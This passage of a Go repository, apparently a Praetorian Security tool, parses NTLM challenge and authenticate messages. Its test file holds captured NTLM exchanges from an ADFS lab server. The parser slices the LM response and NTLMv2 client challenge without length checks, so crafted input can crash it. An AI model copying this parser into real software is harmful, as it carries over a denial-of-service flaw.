ChallengeMessage.TargetNameFields.TargetNameBufferOffset = decodeInt32LittleEndian(rawBytes[16:20]) TargetNameFields := ChallengeMessage.TargetNameFields beginOffset := TargetNameFields.TargetNameBufferOffset endOffset := beginOffset + uint32(TargetNameFields.TargetNameLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("TargetName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } ChallengeMessage.TargetNameFields.TargetName = rawBytes[beginOffset:endOffset] ChallengeMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[20:24]) ChallengeMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(ChallengeMessage.NegotiateFlags) ChallengeMessage.ServerChallenge = rawBytes[24:32] ChallengeMessage.Reserved = rawBytes[32:40] ChallengeMessage.TargetInfoFields.TargetInfoLen = decodeInt16LittleEndian(rawBytes[40:42]) ChallengeMessage.TargetInfoFields.TargetInfoMaxLen = decodeInt16LittleEndian(rawBytes[42:44]) ChallengeMessage.TargetInfoFields.TargetInfoBufferOffset = decodeInt32LittleEndian(rawBytes[44:48]) TargetInfoFields := ChallengeMessage.TargetInfoFields beginOffset = TargetInfoFields.TargetInfoBufferOffset endOffset = beginOffset + uint32(TargetInfoFields.TargetInfoLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("TargetInfo, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } ChallengeMessage.TargetInfoFields.TargetInfo = rawBytes[beginOffset:endOffset] ChallengeMessage.DecodedTargetInfo.AvPairs, err = DecodeAvPairs(ChallengeMessage.TargetInfoFields.TargetInfo) if err != nil { return nil, fmt.Errorf("TargetInfo, unable to decode TargetInfo fields, err: %v", err) } if ChallengeMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { if len(rawBytes) < 54 { return nil, fmt.Errorf("NTLM message too short") } ChallengeMessage.Version.ProductMajorVersion = rawBytes[32] ChallengeMessage.Version.ProductMinorVersion = rawBytes[33] ChallengeMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[48:50]) ChallengeMessage.Version.Reserved = rawBytes[50:53] ChallengeMessage.Version.NTLMRevisionCurrent = rawBytes[53] } return &ChallengeMessage, nil } func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, error) { var AuthenticateMessage AUTHENTICATE_MESSAGE var err error if len(rawBytes) < NTLM_MINIMUM_AUTHENTICATE_SIZE { return nil, fmt.Errorf("buffer is too short for a challenge message") } AuthenticateMessage.Signature = rawBytes[:8] AuthenticateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseLen = decodeInt16LittleEndian(rawBytes[12:14]) AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[14:16]) AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[16:20]) AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseLen = decodeInt16LittleEndian(rawBytes[20:22]) AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[22:24]) AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[24:28]) AuthenticateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[28:30]) AuthenticateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[30:32]) AuthenticateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[32:36]) AuthenticateMessage.UserNameFields.UserNameLen = decodeInt16LittleEndian(rawBytes[36:38]) AuthenticateMessage.UserNameFields.UserNameMaxLen = decodeInt16LittleEndian(rawBytes[38:40]) AuthenticateMessage.UserNameFields.UserNameBufferOffset = decodeInt32LittleEndian(rawBytes[40:44]) AuthenticateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[44:46]) AuthenticateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[46:48]) AuthenticateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[48:52]) AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyLen = decodeInt16LittleEndian(rawBytes[52:54]) AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen = decodeInt16LittleEndian(rawBytes[54:56]) AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset = decodeInt32LittleEndian(rawBytes[56:60]) AuthenticateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[60:64]) AuthenticateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(AuthenticateMessage.NegotiateFlags) if AuthenticateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { if len(rawBytes) < 72 { return nil, fmt.Errorf("NTLM message too short") } AuthenticateMessage.Version.ProductMajorVersion = rawBytes[64] AuthenticateMessage.Version.ProductMinorVersion = rawBytes[65] AuthenticateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[66:68]) AuthenticateMessage.Version.Reserved = rawBytes[68:71] AuthenticateMessage.Version.NTLMRevisionCurrent = rawBytes[71] } LmChallengeResponseFields := AuthenticateMessage.LmChallengeResponseFields beginOffset := LmChallengeResponseFields.LmChallengeResponseBufferOffset endOffset := beginOffset + uint32(LmChallengeResponseFields.LmChallengeResponseMaxLen) AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponse = rawBytes[beginOffset:endOffset] NtChallengeResponseFields := AuthenticateMessage.NtChallengeResponseFields beginOffset = NtChallengeResponseFields.NtChallengeResponseBufferOffset endOffset = beginOffset + uint32(NtChallengeResponseFields.NtChallengeResponseMaxLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("NtChallengeResponseFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse = rawBytes[beginOffset:endOffset] DomainNameFields := AuthenticateMessage.DomainNameFields beginOffset = DomainNameFields.DomainNameBufferOffset endOffset = beginOffset + uint32(DomainNameFields.DomainNameMaxLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("DomainNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } AuthenticateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset] UserNameFields := AuthenticateMessage.UserNameFields beginOffset = UserNameFields.UserNameBufferOffset endOffset = beginOffset + uint32(UserNameFields.UserNameMaxLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("UserNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } AuthenticateMessage.UserNameFields.UserName = rawBytes[beginOffset:endOffset] WorkstationFields := AuthenticateMessage.WorkstationFields beginOffset = WorkstationFields.WorkstationBufferOffset endOffset = beginOffset + uint32(WorkstationFields.WorkstationMaxLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } AuthenticateMessage.WorkstationFields.Workstation = rawBytes[beginOffset:endOffset] EncryptedRandomSessionKeyFields := AuthenticateMessage.EncryptedRandomSessionKeyFields beginOffset = EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset endOffset = beginOffset + uint32(EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("EncryptedRandomSessionKeyFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKey = rawBytes[beginOffset:endOffset] if len(AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse) == 24 { // NTLMv1 Detexted } else { // NTLMv2 Detected AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.Response = AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[:16] ClientChallengeBytes := AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[16:] AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge, err = DecodeNTLMv2ClientChallenge(ClientChallengeBytes) if err != nil { return nil, fmt.Errorf("NtChallengeResponseFields, unable to decode NTLMv2 ClientChallenge: %v", err) } } AuthenticateMessage.MIC = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} for _, avPair := range AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs { if avPair.AvId == MsvAvFlags { AvFlags := decodeInt32LittleEndian(avPair.AvData[:4]) if AvFlags&MessageIntegrityCodeIncluded == MessageIntegrityCodeIncluded { if len(rawBytes) < 89 { return nil, fmt.Errorf("NTLM message too short") } AuthenticateMessage.MIC = rawBytes[72:88] } } } return &AuthenticateMessage, nil } func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS { var DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE = (NegotiateFlags & (1 << 0)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_OEM = (NegotiateFlags & (1 << 1)) != 0 DecodedNegotiateFlags.NTLMSSP_REQUEST_TARGET = (NegotiateFlags & (1 << 2)) != 0 DecodedNegotiateFlags.R10 = (NegotiateFlags & (1 << 3)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SIGN = (NegotiateFlags & (1 << 4)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SEAL = (NegotiateFlags & (1 << 5)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_DATAGRAM = (NegotiateFlags & (1 << 6)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY = (NegotiateFlags & (1 << 7)) != 0 DecodedNegotiateFlags.R9 = (NegotiateFlags & (1 << 8)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_NTLM = (NegotiateFlags & (1 << 9)) != 0 DecodedNegotiateFlags.R8 = (NegotiateFlags & (1 << 10)) != 0 DecodedNegotiateFlags.ANONYMOUS_CONNECTION = (NegotiateFlags & (1 << 11)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = (NegotiateFlags & (1 << 12)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = (NegotiateFlags & (1 << 13)) != 0 DecodedNegotiateFlags.R7 = (NegotiateFlags & (1 << 14)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN = (NegotiateFlags & (1 << 15)) != 0 DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_DOMAIN = (NegotiateFlags & (1 << 16)) != 0 DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_SERVER = (NegotiateFlags & (1 << 17)) != 0 DecodedNegotiateFlags.R6 = (NegotiateFlags & (1 << 18)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = (NegotiateFlags & (1 << 19)) != 0 DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_IDENTIFY = (NegotiateFlags & (1 << 20)) != 0 DecodedNegotiateFlags.R5 = (NegotiateFlags & (1 << 21)) != 0 DecodedNegotiateFlags.NTLM_REQUEST_NON_NT_SESSION_KEY = (NegotiateFlags & (1 << 22)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_TARGET_INFO = (NegotiateFlags & (1 << 23)) != 0 DecodedNegotiateFlags.R4 = (NegotiateFlags & (1 << 24)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION = (NegotiateFlags & (1 << 25)) != 0 DecodedNegotiateFlags.R3 = (NegotiateFlags & (1 << 26)) != 0 DecodedNegotiateFlags.R2 = (NegotiateFlags & (1 << 27)) != 0 DecodedNegotiateFlags.R1 = (NegotiateFlags & (1 << 28)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_128 = (NegotiateFlags & (1 << 29)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_KEY_EXCH = (NegotiateFlags & (1 << 30)) != 0 DecodedNegotiateFlags.NTLM_NEGOTIATE_56 = (NegotiateFlags & (1 << 31)) != 0 return DecodedNegotiateFlags } func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) { var AvPairList []AV_PAIR for i := 0; i < len(rawBytes); { var AvPair AV_PAIR if len(rawBytes) < i+4 { return nil, fmt.Errorf("NTLM message too short") } AvPair.AvId = decodeInt16LittleEndian(rawBytes[i : i+2]) i += 2 AvPair.AvLen = decodeInt16LittleEndian(rawBytes[i : i+2]) i += 2 if len(rawBytes) < i+int(AvPair.AvLen) { return nil, fmt.Errorf("NTLM message too short") } AvPair.AvData = rawBytes[i : i+int(AvPair.AvLen)] i += int(AvPair.AvLen) AvPairList = append(AvPairList, AvPair) if AvPair.AvId == MsvAvEOL { return AvPairList, nil } } return AvPairList, fmt.Errorf("DecodeAvPairs, error list of av pairs must be terminated by MsvAvEOL") } func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLENGE, error) { var NTLMv2ClientChallenge NTLMv2_CLIENT_CHALLENGE var err error NTLMv2ClientChallenge.RespType = rawBytes[0] NTLMv2ClientChallenge.HiRespType = rawBytes[1] NTLMv2ClientChallenge.Reserved1 = rawBytes[2:4] NTLMv2ClientChallenge.Reserved2 = rawBytes[4:8] NTLMv2ClientChallenge.TimeStamp = rawBytes[8:16] NTLMv2ClientChallenge.ChallengeFromClient = rawBytes[16:24] NTLMv2ClientChallenge.Reserved3 = rawBytes[24:28] NTLMv2ClientChallenge.AvPairs, err = DecodeAvPairs(rawBytes[28:]) if err != nil { return NTLMv2ClientChallenge, err } return NTLMv2ClientChallenge, nil } ================================================ FILE: pkg/ntlm/ntlm_test.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ntlm import ( "testing" "github.com/davecgh/go-spew/spew" ) var ( // SampleA was captured from a system running FireFox on MacOS authenticating to an ADFS server // running on Windows Server 2019 with BurpSuite proxying the requests NegotiateMessageBytesSampleA = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } ChallengeMessageBytesSampleA = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0xab, 0xf2, 0x49, 0xf0, 0xf1, 0xa3, 0xb6, 0xdb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, } AuthenticateMessageBytesSampleA = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 0x80, 0x00, 0x00, 0x00, 0xea, 0x00, 0xea, 0x00, 0x98, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x16, 0x00, 0x16, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x57, 0x00, 0x4f, 0x00, 0x52, 0x00, 0x4b, 0x00, 0x53, 0x00, 0x54, 0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0xd6, 0x67, 0x23, 0xd0, 0xc7, 0x43, 0x55, 0x19, 0x0b, 0x00, 0xe7, 0xb9, 0x79, 0x7b, 0x63, 0x4e, 0xca, 0x84, 0xb8, 0xf4, 0x60, 0x1e, 0x41, 0x76, 0x07, 0xad, 0xb4, 0x0c, 0xc0, 0x24, 0xda, 0xba, 0x9c, 0xd6, 0xb6, 0x78, 0x3e, 0x0b, 0x95, 0xb6, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x2f, 0x00, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0xe8, 0x70, 0x53, 0xc9, 0x95, 0x4d, 0x90, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, } // SampleB was captured from a system running on Google Chrome on MacOS authenticating to an ADFS server // running on Windows Server 2019 with BurpSuite proxying the requests NegotiateMessageBytesSampleB = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, } ChallengeMessageBytesSampleB = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0x70, 0x6c, 0xb3, 0x29, 0xc0, 0xb6, 0xfe, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, } AuthenticateMessageBytesSampleB = []byte{ 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00, 0x58, 0x00, 0x00, 0x00, 0x4c, 0x01, 0x4c, 0x01, 0x70, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0xbc, 0x01, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xd6, 0x01, 0x00, 0x00, 0x3a, 0x00, 0x3a, 0x00, 0xe6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x8c, 0xc2, 0x87, 0x0f, 0xb7, 0xd4, 0xf4, 0x86, 0xc2, 0x13, 0xf3, 0xbe, 0x8d, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0x28, 0x06, 0xc4, 0xa5, 0x0b, 0x2d, 0xc9, 0xec, 0x1f, 0xca, 0xce, 0x3e, 0x20, 0x6b, 0x55, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x5f, 0x27, 0x0f, 0x43, 0x1a, 0x57, 0x8f, 0x15, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x10, 0x00, 0x63, 0x2e, 0xc8, 0xcc, 0x4f, 0xfa, 0xd9, 0xd4, 0x9d, 0xa0, 0x63, 0xe2, 0x71, 0xa1, 0x25, 0x9c, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 